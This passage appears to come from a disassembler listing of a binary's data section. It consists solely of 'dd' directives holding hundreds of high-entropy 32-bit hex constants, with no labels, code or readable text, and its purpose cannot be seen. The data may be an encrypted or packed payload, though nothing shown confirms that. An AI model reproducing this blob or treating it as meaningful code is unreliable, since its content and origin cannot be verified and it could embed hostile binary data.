		dd 7F2CD1D3h, 0CF9F742Dh, 0E5BAB832h, 956B7AFh,	0FE31D968h
		dd 0BC116829h, 22C5D0AEh, 3AA390A9h, 772C6807h,	48E6809h
		dd 0BB8C0CC6h, 89BA3C65h, 4AB3DF0h, 7FB0C9Eh, 0DCC5C4FBh
		dd 0F62D5C44h, 0E9CA68F1h, 53CB40D7h, 1437B725h, 38B40140h
		dd 9BE9E708h, 58984A5Ch, 737C162Dh, 6D422DE6h, 0D7C68104h
		dd 87DDC538h, 12EE8510h, 13660908h, 7AD39942h, 0DFBF664Ah
		dd 0E12EC9ADh, 81D2258Eh, 3E5B858Eh, 0E85AF4B8h, 0B0E5A7C0h
		dd 66BC09AEh, 21D2C7FFh, 0A9FD2D5Ch, 604540Eh, 4B06E7E9h
		dd 8B8D1969h, 9D2BF5B0h, 2A98D24Ch, 0A33D41F3h,	7E897E1Bh
		dd 9ED6A1E0h, 80F840Ah,	0F153C1C8h, 56F03A5Eh, 49D924F7h
		dd 0F4F302A4h, 1DF5614h, 9212E930h, 0AFE6AB50h,	30B63B39h
		dd 4533CE01h, 40460B21h, 3755B4B0h, 0CF5EE9EEh,	0D8BD1384h
		dd 0F898FC4Bh, 9ABE2CE9h, 1F84B835h, 81095FE7h,	0F47755h
		dd 4F531168h, 5A02BBE3h, 0E019092Eh, 8205DA5Ah,	201FF855h
		dd 0D095A97Fh, 22CD2209h, 0A4E061BFh, 0FE71C06Fh, 0ACEA80CBh
		dd 0BB25204h, 0B4CBD328h, 0B1515280h, 299080C2h, 0C0DD06C0h
		dd 98F605E1h, 39DE699Eh, 6E722AFEh, 0AB2A6005h,	0F50762BAh
		dd 5BD3948h, 690822D4h,	0E92CC0BEh, 52C3A9A5h, 0E47C6858h
		dd 0FCE0818Dh, 2A66957Fh, 90BA942Dh, 3E4CAE99h,	66163203h
		dd 0D255E279h, 4FC98AFAh, 0B635EBh, 0A43E3B55h,	5E7EE96Bh
		dd 68A138D6h, 4CFF2B43h, 987FC603h, 7F852F77h, 0AB5B474Ch
		dd 52818AE8h, 61250907h, 87D56035h, 7B81D40h, 4178409Eh
		dd 123DF048h, 0D390557h, 89963B5Eh, 0AB9FCBE9h,	34025FE8h
		dd 0DB08CE8Ah, 0E38E7AB1h, 0C1EA3C2Bh, 680BE90Fh, 74AA56C2h
		dd 0EEF952AFh, 0C268A2Ah, 64D780A6h, 8DB90A13h,	5AC62605h
		dd 41EBD1F7h, 90380401h, 5B6BD42Ah, 0AD684597h,	295A46E6h
		dd 0E41369E3h, 8EE2D036h, 8163E06h, 4EA1434Bh, 49947C9Eh
		dd 1DFC6031h, 56FC340Bh, 0C6C0882Dh, 0CFAA5412h, 0F2F550E8h
		dd 25777A08h, 0E33B8829h, 658BC781h, 62707960h,	0FBA805Fh
		dd 0B0048DF6h, 0FD08592Dh, 0DEF8B281h, 3424D075h, 9CF40F0h
		dd 5F34EE7Fh, 0E1B50E3Dh, 32CC6B40h, 0F0267F35h, 80429EA3h
		dd 38E529EAh, 26C04ABAh, 5D3C230Bh, 0D0CEFB31h,	0FEE92788h
		dd 0E5805260h, 0F507B973h, 0EA885255h, 7E5AD422h, 9E9A6FCDh
		dd 470EA3FAh, 8007E7C1h, 0BA85F781h, 29452C02h,	0B10949ADh
		dd 0F4579124h, 74A1AEDh, 0A2D42232h, 0C0FD219Fh, 0B26C5C2h
		dd 0D135E733h, 86037A7Eh, 0F0A1D453h, 0B70CEEDh, 0F529460Ah
		dd 56FD895Fh, 535CE39Dh, 0BA13A44Bh, 0EFA77BB8h, 9B09BEB7h
		dd 3BACC5Bh, 0A143D3C5h, 57B2290Ah, 241E545Eh, 0CDC1615Fh
		dd 6B336E74h, 7B9DE87Bh, 0DF5E345Ch, 9F53D171h,	0C3026962h
		dd 424E0165h, 59DFFA42h, 9FFCEB4Ah, 5ECAB42h, 2BBCC32Dh
		dd 3A055F88h, 0CA5F5D7Ch, 20E9D6C8h, 664F7AC4h,	58590382h
		dd 608F9484h, 9D219AB8h, 0CEE4015Bh, 31B44D8Dh,	0EF1AC15Bh
		dd 9E10F4BEh, 0B29CC397h, 29B2DFCAh, 0C6A6FD82h, 0CC2D8444h
		dd 27DFC7AFh, 956AAA96h, 440A854Fh, 81609865h, 2F4EAAE5h
		dd 6DE33DCh, 4D6FF020h,	91AD33B2h, 5C4CAD10h, 2C72055Ah
		dd 5FE451F6h, 0F27B5B36h, 0E24F8B03h, 4C6FFF5Ch, 2DFA6F88h
		dd 68FB065Dh, 8181F06h,	957BCCF9h, 0F295C135h, 6010F6E3h
		dd 78EDFFBCh, 657B2449h, 4EBD9238h, 0D90567FAh,	12CA570h
		dd 0F6139CC5h, 0E48BDBBDh, 60D41942h, 0B60BD8A4h, 135A20F8h
		dd 0B816D55Fh, 58099660h, 0B09097E7h, 0CD01ED41h, 287F45D5h
		dd 5850AEAEh, 7B5C1811h, 3C529F8Ah, 7B996385h, 3449540h
		dd 3C096419h, 0F7470696h, 25563032h, 6C9AEA63h,	6802AB09h
		dd 5DEF39Fh, 0A8422FB2h, 0E9E043Bh, 0AEC05DAAh,	5A167A09h
		dd 0E457207Fh, 5B0B8438h, 7DB362E9h, 0A02A4F4Dh, 866F679Fh
		dd 8505A4E9h, 5DCE648h,	3E7C07D6h, 1262FF03h, 0B0FB9C38h
		dd 13187B98h, 3A1C7AC2h, 0C16F7F14h, 0DE6DE70Ch, 68047AECh
		dd 6DEDB94Ah, 88F321B4h, 0AC313B23h, 520184A6h,	0CDE96050h
		dd 0F61DCE97h, 0B1E29771h, 0ACACD3D7h, 5DDE12D5h, 0FEE3274Bh
		dd 3FA7C799h, 775DBA8h,	0A6B6525Ah, 3AC099E9h, 28093105h
		dd 552193E3h, 0BF572500h, 194C7EF4h, 58EF26D2h,	531C4109h
		dd 0D4F9F94h, 7E72FDF6h, 794EB509h, 0C600BCB2h,	5F058C43h
		dd 5096EEE9h, 0E57B4127h, 7B45A72Bh, 22B1F131h,	0E93F575Ch
		dd 210C89D9h, 8DF18078h, 0D678D0E1h, 8109AF4Eh,	8961FF43h
		dd 936E7914h, 0E909AD8Ah, 0D6AA8Ch, 0EBD04064h,	2E80EDD0h
		dd 1549D4CDh, 9D0590CAh, 0B8EFC27Dh, 0C3D94A5Ah, 5B023AD5h
		dd 545252C8h, 875C21F6h, 246F8E27h, 0C5EB71D4h,	14785D6h
		dd 0B0409105h, 41C56B41h, 6C80B7FCh, 892B0F4Ah,	0BD5EF202h
		dd 0C0703A91h, 2DBAF508h, 7C7446B6h, 496F5CAFh,	70912D06h
		dd 6C1DBB05h, 20806494h, 0B01169F5h, 39F31DB0h,	0A18992E6h
		dd 0ED016F2Fh, 5C664DEh, 2A5B020h, 0E97F153Dh, 0A5A571F2h
		dd 4E10D0EFh, 0F9905A4Ch, 33F812D7h, 7F020C7Eh,	7222CE6h
		dd 0E7192A11h, 5CFE0503h, 0DCAB64CFh, 6066C2E9h, 7A32DECh
		dd 306E7200h, 24E91FF1h, 4C082D3h, 62277F89h, 8C105FF8h
		dd 59972E8Dh, 13444C9Dh, 1BCF6D13h, 0D0F2A0Ch, 0A8B25FE9h
		dd 3DDD5A48h, 0E95B702Bh, 0F197E11Fh, 695E42CEh, 0AE65D0Bh
		dd 0DE572169h, 0F85912B2h, 51E0F761h, 0E528CBB1h, 87E3AD6Eh
		dd 0EB07D4B5h, 0BCF1D4BBh, 0C4BDF04Eh, 2564B880h, 0B946300Bh
		dd 3A226BBFh, 4AFD85E4h, 280B05BDh, 0C47DE2EBh,	0AB1211A9h
		dd 0FDB0906h, 0D32930CFh, 17EAC348h, 6176DFB8h,	3E158493h
		dd 0EB810196h, 5AB45DE0h, 7E011520h, 95434875h,	0A018A92Dh
		dd 1C694F21h, 0C1F78487h, 0B720A8F0h, 0B6948379h, 0F0C9DDE1h
		dd 129BF796h, 0D0F449CAh, 4DA86804h, 5010D8F3h,	76BD25ACh
		dd 0E5819E46h, 9EA05576h, 0B66F0B2Fh, 0CAE91231h, 9931EF33h
		dd 105F5B8h, 944CE621h,	5773EC45h, 546816C9h, 7E98AD97h
		dd 36B0DD29h, 0B7E25320h, 92BFD865h, 0B9E35083h, 0BC5A9342h
		dd 0A1FE84BBh, 25B3A812h, 31135766h, 976ACFF9h,	0CCBF1685h
		dd 0B541FB0Eh, 0BD0F75F4h, 176CE218h, 0E08F08AAh, 0BAFB50B0h
		dd 1C79B71Eh, 20B106D2h, 5181E804h, 8248B38Eh, 45474CEFh
		dd 0C057C44Ah, 502625AEh, 0B3E96D08h, 264928F5h, 69A31876h
		dd 0C0E5C175h, 7B5B1794h, 6C0A0924h, 9A2F682Dh,	1F266959h
		dd 4A439B3Eh, 5E41B844h, 0C034B742h, 0E79B3963h, 7ECF8099h
		dd 0EDCB49E0h, 25E9C170h, 5152103Ah, 0B4D3992Eh, 12A6EB82h
		dd 0D18541A0h, 0A8CBC8DFh, 31F00627h, 34AEF4E9h, 288F5995h
		dd 27152028h, 50C435B2h, 0D7B41948h, 0FC42304Bh, 7668D6ECh
		dd 59BE6753h, 1C5A34C6h, 0D7F672C2h, 4B122AC5h,	0E66D28F1h
		dd 0CDA36816h, 8F19301Bh, 2D444C19h, 0E864B88Ch, 548609D2h
		dd 68040124h, 0E829040Eh, 3303AAC7h, 0F89E054Bh, 0B17B9623h
		dd 0B26B201Eh, 5B0A6458h, 5689C8F8h, 80D3AB0Ch,	168EE43Ch
		dd 0D4A86BCDh, 91EBA1h,	5A6835h, 892D0BF4h, 4810586Bh
		dd 2BF61BF6h, 18E92A16h
		dd 6C86CF46h, 0D5F628A4h, 80829006h, 27535ED6h,	75DE1DB3h
		dd 55FFE90Bh, 24153EB1h, 3C4F8771h, 680CBEF7h, 7597476Ah
		dd 0D6435C48h, 0CEAC62EFh, 313B3250h, 0A04892C2h, 0ED4488ABh
		dd 0DA907FE6h, 3BBBCA01h, 58E930A3h, 0D3F600DEh, 5CF2C3FEh
		dd 0F7DDD754h, 0BB31AB3Eh, 6CC7000Ah, 21EABC99h, 4BFB9DF9h
		dd 71353709h, 7F688430h, 1EE0984Ah, 0CFB5D94Ch,	93592F42h
		dd 0F1C610F8h, 883F229Fh, 56FADC7h, 0D6FC5CAEh,	0A22410h
		dd 52D8F65Bh, 980E2B2h,	0D03088C2h, 0FAC2C84h, 600DEEF7h
		dd 357F7A1Bh, 0E0600334h, 0BFB7E925h, 72DC225Fh, 618A5A87h
		dd 80C4090Ah, 559CDBDh,	98F41FBCh, 665B07h, 5849BE3Dh
		dd 529564C9h, 9CF35870h, 626F947Bh, 94FF502Fh, 74D900DEh
		dd 1C3547AAh, 525BF954h, 1943A08Ah, 0FB64564Fh,	0C56BD504h
		dd 0D04B1EA7h, 6805E63Ch, 0DD2C6E31h, 992FEA9Eh, 505AE9A2h
		dd 1CA968CDh, 6B64C3BEh, 0F6B140EFh, 0CCCC870h,	0AB6BB1F6h
		dd 0C54C7516h, 0B5CE7CBh, 6F09560Ah, 90CD7705h,	194DBAB9h
		dd 302635E9h, 9C9FAFEAh, 241E916Bh, 0ACE41338h,	0EB8109CFh
		dd 88F9CD02h, 492F9ED7h, 1BF04B4Ah, 5A582563h, 0FFE9C9F1h
		dd 0B76205C4h, 7D448141h, 0E5988EC6h, 5818765Bh, 0B18D5F0Ch
		dd 1CAF0217h, 386079DDh, 0ED25200Ah, 5F95435h, 0F844DB28h
		dd 310113FFh, 89211A9h,	58193A7Eh, 0D17B5C91h, 4E10AB3h
		dd 0EE875505h, 0ED026BEh, 412D6813h, 0BEA4E8ACh, 20E9123Ch
		dd 0B2169478h, 12042802h, 0FA12A06Ch, 5B60E98Eh, 0C4E56BEh
		dd 83CF4A74h, 27EE325Eh, 38755B7Ch, 5ADCE921h, 84FBF257h
		dd 74FEF86Eh, 0EEF080BAh, 7D5CB53Bh, 0DEC3465h,	0B92216ABh
		dd 91B11045h, 0EE185E3Bh, 5FC35D67h, 0DD99182Eh, 0BC807B16h
		dd 1358FEB8h, 0EE2151A3h, 36012B4Ah, 57C36801h,	48963318h
		dd 93E521CFh, 0EF35004Ch, 0A12E3D9Ch, 0E3DE2A3Dh, 405C8F84h
		dd 1B473EDh, 0AE294A9Ch, 4E5D584Ch, 2DCC40A8h, 72F78316h
		dd 0EA4D0906h, 55CD05FDh, 0F826C756h, 2BFE7D76h, 0D930CC4Eh
		dd 4AB053F1h, 0C7ABA04Ah, 94B761A3h, 0A1C6AB4Bh, 0AE40000Ch
		dd 0BD55B429h, 103C4874h, 0A2825A2Ch, 50EE775Dh, 0F8251182h
		dd 67CBBF56h, 30E959C2h, 681CCBF0h, 0F62D603Dh,	6C35842h
		dd 70761F04h, 0D784D329h, 0B8C0812h, 95017668h,	0F3098546h
		dd 2104E6Ah, 0E04B3EA1h, 60F0313Ch, 5D81D85Eh, 93A0B82h
		dd 0E8CCE8h, 7AC4BF57h,	27C1239Ch, 0A98206EFh, 9C081047h
		dd 89A8DA12h, 0DD1D6079h, 3A337FEDh, 0B30C7963h, 4263CA14h
		dd 8128834h, 14160C34h,	405F3DFBh, 0BC78D2FBh, 0E1E97709h
		dd 0BB165FA9h, 86F3C59Dh, 664A5543h, 3E0EEF05h,	0E41719FBh
		dd 0C513AFF0h, 0EC16E9CFh, 10AE4FA5h, 7205A67Eh, 0FE4A760Ah
		dd 3A82D0A5h, 386C0C24h, 7154676h, 77D91A85h, 606E81F7h
		dd 0C2805AACh, 371E0DDCh, 20FACF01h, 0F740F4Bh,	251AF6EAh
		dd 26FC645Fh, 0C90C39D3h, 336ED3FEh, 9C3AF3A1h,	514A5817h
		dd 4AD1EAD8h, 1315FC5Ah, 8BEFF3F7h, 62C179EAh, 1A790ECCh
		dd 1355C46Eh, 710AAE07h, 6881452Fh, 21CE5403h, 76204335h
		dd 7A5E81AEh, 0FED73EBDh, 0DD562272h, 0E228DFDBh, 1F84744Ah
		dd 7F15CBEEh, 0F991B22Fh, 0B87069F5h, 0DF0A3D18h, 8386AF28h
		dd 66470DD0h, 9690848h,	0DD575F4Ch, 0E9450380h,	0DB9F34B4h
		dd 23682D08h, 0DE0B2DD8h, 8639E241h, 195386Ah, 2206FAEEh
		dd 44DE012Ch, 0D60849B0h, 47D12148h, 0DFC131C1h, 3D685A1Ah
		dd 0B93ED013h, 0C9D91011h, 9B392E7Bh, 2AF6AD88h, 996B1D8Ch
		dd 0A55A57D7h, 0FBC2955Ah, 0AF920FE3h, 0D5254D8Bh, 6C768E89h
		dd 8BBDC525h, 8B259CE9h, 2CF29D5Ah, 9AE4841Ah, 0FFCBF00h
		dd 12540CCh, 0AC3AE5F8h, 0BC8B0E1Fh, 0E72DBE17h, 0D2FBB63Bh
		dd 0A8B40EF2h, 0F0E917C1h, 0FE5E19ECh, 0CAFCD729h, 5EB7A445h
		dd 0A107AC52h, 0E7C356B0h, 0A2E196F5h, 0F42DFC7Eh, 10BDE6AFh
		dd 0C1C0BA52h, 2B47434Ch, 56AB0CC1h, 0B82E08B0h, 0A008415Eh
		dd 7F6140Ch, 485D9D49h,	0F2F7D73h, 0C285A43Ah, 6FB6B3F0h
		dd 72030A79h, 0C07583Eh, 51125FF2h, 4168B9C1h, 59E949E8h
		dd 0E84A13D6h, 3BD3453Fh, 97BD8E1h, 69D4430Ch, 6E77D9A5h
		dd 54DFF3C0h, 0E91842C6h, 0EF17AD4Eh, 2A0E0FDh,	741E2D10h
		dd 0F98538C0h, 0E9070205h, 0DC9C7ED2h, 0F7E8832Fh, 8940C896h
		dd 5B5A8255h, 0AF5BDE24h, 8A611902h, 0F2CA757Bh, 0BFE90801h
		dd 0C49D6CD0h, 5D09999Eh, 733E5DD4h, 9AC82FF1h,	9DEB0980h
		dd 0B2D45866h, 496DF49h, 6DF6839h, 0C2E93B6Dh, 73527B3Dh
		dd 9B189730h, 7482A1F9h, 0C090BC0Dh, 8463493Ch,	0DAFA5EF5h
		dd 286802B2h, 523A7842h, 0C040B0D1h, 62B85073h,	3C026E25h
		dd 704702BAh, 0BF3E61E6h, 0ABFFC712h, 217DC1D2h, 1C83A37Bh
		dd 0D0160EB2h, 682F63AEh, 0B0F761C2h, 81476F13h, 67C5FC5Fh
		dd 0EC526694h, 0BE0F16D4h, 0CB5A93C8h, 0AF66333Fh, 0DF9CD734h
		dd 0BB86E916h, 6E056C20h, 686637DBh, 12290529h,	0E71D0188h
		dd 0DC5309A7h, 9A5BE94Fh, 67ADFA13h, 13E3C58Ah,	0E09956FEh
		dd 0CE304940h, 2D1A281Eh, 485401D7h, 99290E25h,	38E9D815h
		dd 10E7E152h, 357B4043h, 0BF46D14Fh, 42134A1Eh,	0B3FFBADh
		dd 964E871Eh, 4F9FEC2Fh, 600F38ABh, 0C05C9840h,	5647B921h
		dd 0D8BF0D78h, 3E0A0285h, 0E909132Ch, 0A89D5043h, 0F8164A43h
		dd 30E9FD7Ch, 0ED1D4BE8h, 7A0BB923h, 7FEA8995h,	2E4BA569h
		dd 0AB00A0B2h, 897C6C33h, 555F5BDDh, 36FE78C1h,	4C3459Fh
		dd 83C408B8h, 1705B037h, 0B16DB7CBh, 0A6A98104h, 3C18002h
		dd 684B389h, 0F8310B74h, 0F5CCBFB0h, 391F32Eh, 0E836F5C9h
		dd 4B2AEB04h, 8F975F2h,	2FAD0841h, 75E566D0h, 53852E2Ch
		dd 0F8C074BFh, 0A89B5CEBh, 82A84FE9h, 35F5DABh,	4857558Dh
		dd 0E401D80Ch, 0C1221103h, 0EA9E40E2h, 0D52F0D49h, 7764895Ch
		dd 69B24A22h, 0D8F488A0h, 0EAF8CCFEh, 452DCCBEh, 45E024A2h
		dd 0BB7DD422h, 0FA97C4B6h, 72A28A21h, 80C4CB3Ch, 0F1AC16CDh
		dd 0D2B62778h, 0BB00F5C6h, 5E8B77C0h, 0BED59BFh, 0DF298842h
		dd 0D8A77585h, 5441BC91h, 62CF62Ch, 27A08F25h, 1F1B5836h
		dd 87FCD129h, 5959CA7Ch, 56991933h, 0E06AE238h,	1C41223Bh
		dd 4280D26Fh, 2C624DC2h, 8857AF84h, 237F10D5h, 142D0F00h
		dd 0E99F32ABh, 8F5A4DAEh, 0C51AB007h, 0D019A57Fh, 76E5B8EEh
		dd 315A7117h, 0E82205Fh, 411D9104h, 26A5D796h, 68614F74h
		dd 8C2F07C0h, 0AAB4BECBh, 7828742Dh, 2A16A8BAh,	0C4183774h
		dd 0B253E949h, 4C5C4C57h, 0E07B0576h, 0AEFA2922h, 1E588B88h
		dd 5307EBC0h, 53FAC088h, 0DF26B652h, 5008C9D0h,	38B70A15h
		dd 0E953E03Ch, 54979D2Ch, 0A1F15B92h, 929C3FA5h, 0BFCF5BB2h
		dd 68588C61h, 0FC283ACDh, 41F001B1h, 1B5FC69h, 0A030C221h
		dd 9CD93BBh, 34FF0917h,	0BFB32D58h, 97B93C18h, 97D87F82h
		dd 39FEB54Bh, 25B7FF5Ah, 0FF10A02Dh, 6A70FB97h,	5A6B0011h
		dd 0EF682774h, 0FBF3064Eh, 8F949F18h, 97BC95B5h, 2E2B4882h
		dd 0B0F0D565h, 907F0882h, 82DEF5D7h, 0EEE3B041h, 53018966h
		dd 68FF33FCh, 5D89526Ah, 9157138Dh, 0AD7B4826h,	3D1CB0Dh
		dd 2E4055Bh, 3F73BF84h,	4BC02362h, 60827202h, 2D372F3Dh
		dd 72C7FF7Ch, 191DF27h,	0AC671133h, 68D7F104h, 4DB85B66h
		dd 0AD46D92Ch, 1D2C6576h
		dd 23BCE101h, 0C80385Ch, 46782B5Bh, 205AD3E9h, 4D79DE89h
		dd 40FB0519h, 4D3BE168h, 0B7B900FCh, 375FF810h,	0A9A460C2h
		dd 0A008C697h, 2F278781h, 0B376217Ah, 0E54A84A8h, 80E330D0h
		dd 0D8FB4AC3h, 0E04E2A56h, 0E4455929h, 5CF828ABh, 920BD197h
		dd 4B4DA84Bh, 48312DBAh, 20BFB369h, 5EB9C631h, 21A4F1Eh
		dd 3A7B689Ah, 25A01BD7h, 0E8D48CCEh, 0E5D6130Bh, 948A0D74h
		dd 0F9CC3016h, 70683912h, 9BF61F0Bh, 9609C19Eh,	0FEA3CCE3h
		dd 68A4C85Eh, 916745D0h, 157690A5h, 9EC4EA68h, 0E527CF09h
		dd 525E0452h, 25E920BAh, 8060DEBEh, 17E53E0Ch, 8E01E281h
		dd 68342160h, 0EF5D0389h, 40E978C8h, 35074062h,	0AA078237h
		dd 0D89369EFh, 385B768Fh, 0F94EA957h, 55508636h, 34B30144h
		dd 0BFE94451h, 1FD36A30h, 0B6EA8533h, 0FDE98456h, 5B2B9ABCh
		dd 0D93109B5h, 2B5711DDh, 42A0393Fh, 46DDD8F3h,	0E1315FEDh
		dd 0AF37AB2h, 0C827999Ah, 5A89A828h, 10FE9AD1h,	4CF36803h
		dd 0B5D36A59h, 4A3C519h, 643D20AFh, 2025F610h, 1356FA59h
		dd 0A4CD4EE9h, 0EF61580Dh, 45D5F70Ch, 90AD3Eh, 46DEBE56h
		dd 49E90A31h, 0CA5FCC39h, 5730283Eh, 41934924h,	0D370B540h
		dd 0B9510252h, 0AD2C8F4Fh, 0CAAE635Fh, 665807C8h, 0CB7AF21h
		dd 80658h, 5930F92Dh, 280F057Dh, 484C2E05h, 0D7AE5FE9h
		dd 39BA608Ch, 0F0F519C1h, 5A92BBC0h, 0EEB8FE7Ah, 0D628E74Ah
		dd 0E9C81288h, 0B643C583h, 0D8BC5B66h, 919FA416h, 2A731936h
		dd 4D7E3C8Eh, 3762E4C9h, 0B046E0F9h, 45BF2C8Ch,	0DF56CB36h
		dd 53BD7C2h, 0FCAB2BAh,	324522EEh, 354DEC3h, 7C87C317h
		dd 6CD90C43h, 0BCAB040Bh, 0EBFF2E0Fh, 0E5281E00h, 98D5F658h
		dd 0D88F4D38h, 0EEF7F985h, 4E0AB3CCh, 689E4265h, 0B25C69C4h
		dd 5828B799h, 23E1997Eh, 39531065h, 0EFE2D113h,	146D85Dh
		dd 20202D0Eh, 0F0B66C5Ch, 3FE8D74Bh, 112E6ABFh,	2B1610EDh
		dd 0C286D441h, 881C0FEh, 0B551DAF6h, 0A4C290E8h, 11135D3Bh
		dd 0D8A0E82Bh, 3F500294h, 5B9373B4h, 6A4E416h, 0F4AB04EFh
		dd 2B4BDF62h, 216EE98Dh, 79A0321Ah, 2054D4CAh, 0D8529F0Eh
		dd 0BC5E7C0Eh, 0F90E7803h, 45E13E13h, 0D7E8EA82h, 7C6069A7h
		dd 35FC607Ch, 5E16095h,	5E372C3Bh, 2D283C3Fh, 44E91907h
		dd 3AF76B98h, 0F07B8A99h, 6815532Bh, 38596ED7h,	0E98CD0B2h
		dd 0B4B1964Bh, 2CC8C576h, 9F4AA008h, 3F3E2D3Ch,	0C0DBE927h
		dd 78EE8034h, 0A67D2CB8h, 638F81C2h, 2A5F069Dh,	1BE27D90h
		dd 29562F7Bh, 0C0608B2h, 6824748Bh, 0C442A77h, 0EE1784AFh
		dd 62D20B98h, 0B9FD2155h, 0EB28FD08h, 0EFF6CD7Dh, 0EEF70844h
		dd 0FD5F6E63h, 0A23D06FCh, 0AC030C20h, 0E9BEFE45h, 4DFCEDFh
		dd 2D27D46h, 998BEA5Eh,	12CF2F10h, 1904EB28h, 35BA0108h
		dd 1D39EF6Ah, 37C4CF3Ah, 1EF4FACh, 0AB246F6Dh, 3155C22Bh
		dd 5D500540h, 9FE64C97h, 1B26CF58h, 336B26C7h, 17AFB41Eh
		dd 1A52B99Ah, 7D2DA2E9h, 2D047644h, 6C104163h, 74510EBh
		dd 19BED067h, 2E3C6CF9h, 539393C6h, 38D25977h, 5DE2EAB1h
		dd 60353000h, 9AFA1598h, 7B20CC41h, 0C32E54FCh,	20FE9A1Ch
		dd 3E90904Bh, 0B252CC0Eh, 2EEAC70Eh, 8594FAE5h,	0D5460AEEh
		dd 0E8483B81h, 0B17EFE25h, 0D059DCAFh, 0C3B125F3h, 0EE7AEB01h
		dd 826ED664h, 3BC2570Eh, 75B95AD8h, 0B4FC96B7h,	0B8F6BFAEh
		dd 0C834D772h, 315D5427h, 0FD829DCDh, 66C32858h, 80966177h
		dd 69FBAD9h, 1DF31E9Fh,	31F760EBh, 7AFD3AC4h, 0CCD5AE85h
		dd 68165909h, 2CFC09A3h, 0E433E9C2h, 29BAB3A0h,	3F7BA22Ch
		dd 33CDDE4Dh, 848B4656h, 0D743F6FEh, 687E0D61h,	9D059422h
		dd 0F02A0569h, 3C4E07E3h, 0BB8B2BF3h, 0D7D12BD7h, 0DCE9FDC0h
		dd 0F60134BCh, 0F3F280D2h, 0C0C56FE8h, 154EBDB0h, 549D0AB4h
		dd 0EAB50757h, 0C1C34E4Bh, 2E848F2h, 0CAFDE929h, 356088Bh
		dd 27D6FC2h, 9740015Ah,	0A1F142Dh, 0E7967072h, 80F07057h
		dd 0B54E9AB2h, 145500E2h, 0AF294BAFh, 0CE013D28h, 47105F4h
		dd 140B4AF6h, 5EEDA882h, 0F8BE0121h, 601AD974h,	63025EBBh
		dd 9EE91F24h, 96E75985h, 0EBFC56F2h, 0A12F4899h, 8DA73FCAh
		dd 0DD4CE934h, 23326A57h, 681968D3h, 5B7D5C25h,	7C9648D8h
		dd 75439A24h, 85208212h, 1B5FBDC6h, 7229FA09h, 0D240F9h
		dd 0C107E2C1h, 36267594h, 0A9CA8F0Eh, 7DC7A9AFh, 0C9EA6225h
		dd 0E7812F2Fh, 382C716Ah, 2450FCC7h, 0E0A28502h, 795566Fh
		dd 3C32919Ah, 0F7FF615Bh, 0DD5E0742h, 0F69582C6h, 0B8E9784Bh
		dd 5930859Fh, 68022DE2h, 14F0704Bh, 804F094Eh, 0BB66D780h
		dd 976774B2h, 0F430DD7Ah, 0D7BD3AB1h, 0B1E0D19h, 2A0BDBBEh
		dd 0E78BF99Ch, 52BACE7Eh, 4DEC5A7Bh, 8B627EA9h,	0D508EA9Dh
		dd 0A085DA43h, 0CEBD339Ah, 96813D2h, 654CCF59h,	8A165199h
		dd 7E01BAC2h, 1990ACE2h, 7A5E14DCh, 0C68F58Fh, 6C676B38h
		dd 68C8BF81h, 0C2516B86h, 50030661h, 0ADA36DB1h, 822AF269h
		dd 4D5955E3h, 621DF1E9h, 667D2FC6h, 36F124FBh, 868C177h
		dd 9E3E4246h, 0D9F0A66Ah, 1BA3B52Dh, 0C5EC90Ah,	8D202D88h
		dd 72EF8109h, 73309F2Dh, 0E78819CEh, 2E598148h,	0EF4ACCE3h
		dd 0EDF17700h, 0BF013011h, 2EDE4D20h, 0CC153C6h, 0A9F1BAD1h
		dd 2989827Fh, 0B54FC5D7h, 0EC650016h, 5A01B53Dh, 0D0CD5E9Fh
		dd 8D5FEAE9h, 737F5F91h, 0A4441CE1h, 0E1E94D07h, 0A4F15BBCh
		dd 1F0569FBh, 43E4F505h, 1FD468D3h, 0A71C5712h,	98339FD1h
		dd 7409B82Dh, 30600B4Eh, 0CA0B60B7h, 0A948E905h, 9C3C7791h
		dd 1B38E627h, 32A5C91Ah, 27688664h, 0ED147126h,	74BA5D4Fh
		dd 0E30BAA55h, 0C5695555h, 959FD85Ch, 0AB6F0A4h, 927A33Dh
		dd 99FDE1CEh, 0F4011C8Fh, 828004A4h, 0B87E02BCh, 0B7EF0E83h
		dd 538A6Dh, 0E71F343Fh,	2C5FE91Ah, 0D75180C2h, 293E7864h
		dd 362397D8h, 0EED780EDh, 0F4505F0Bh, 0EC28808h, 0A4FDCA5h
		dd 23E230Ch, 675F1FA8h,	9EBEE8FDh, 584B305Bh, 0E7C4E910h
		dd 0D6976792h, 306312Ch, 76E0704Eh, 5B57F7Fh, 0D8D0D7C2h
		dd 5B0E0D7Ch, 7CCA960h,	0C4639362h, 6C09C760h, 1381A78h
		dd 804ECCFh, 0ABA48859h, 5C3D774Fh, 0B659AE30h,	1375A95Ch
		dd 0EC2489C1h, 0CD3FB2F0h, 0FEF0DF61h, 4C79BFD7h, 5D03DB26h
		dd 5549174h, 192AD10Ch,	0CFDB8742h, 6F14E1E0h, 496A7436h
		dd 0D410DE5Ch, 4B8844Bh, 4034F9Dh, 99AE3158h, 14EC6E3Fh
		dd 332D5E13h, 7FC852B9h, 6C5BA529h, 7D341CB8h, 5820FA0Fh
		dd 783479BDh, 53FEF4E5h, 5F2DE782h, 0BF8214F5h,	0DE1200D3h
		dd 0DE3A12BEh, 0D7E90CC6h, 5FE50B08h, 0CC2CEC8Ah, 4BC111DDh
		dd 567E8EAh, 22AB4BE1h,	1FE9A302h, 7BD448BEh, 46F19533h
		dd 58B956EBh, 679D88CDh, 0C03826B1h, 0FE394DBAh, 0E204C1B0h
		dd 40150F8Dh, 4B2202BBh, 9C894901h, 4E27918h, 4134FE95h
		dd 0D9AAB510h, 0C9A53AEEh, 2A5BE03Bh, 5131B25Ah, 0E858FDBh
		dd 0D81A7868h, 18001F07h, 0D14546E4h, 0B778E9EDh, 0C85D9B04h
		dd 5BB5DBC4h, 0E5B04EEh, 0FB481A8h, 0F42D0085h,	4E870B09h
		dd 0E382215Ah, 136A3447h, 31D57177h, 2A9F334h, 6E51C05Ah
		dd 0AF219F9Ah, 7B546021h, 0E57FC999h, 41A7D000h, 0E4D46C26h
		dd 0E9D52182h, 3983F625h, 0D91F9D80h, 3D0BBE2Ch, 1E61809h
		dd 556E05EEh, 82F3E0E5h, 0E4236085h, 0A1D99FBBh, 0BE1924Fh
		dd 0F1C0B92Ah, 0B104F33Fh
		dd 8D27FD56h, 643DF1Fh,	65622440h, 1D1B8C4h, 402684C9h
		dd 6B63E94Fh, 755C18C2h, 163FA1FBh, 7349CE12h, 0CF15709h
		dd 0A4B50540h, 21BA582Bh, 849C1E1Ah, 0C998715Dh, 13792884h
		dd 0D24D77EBh, 6E77D438h, 636812EEh, 0B660EF1Ch, 419530E6h
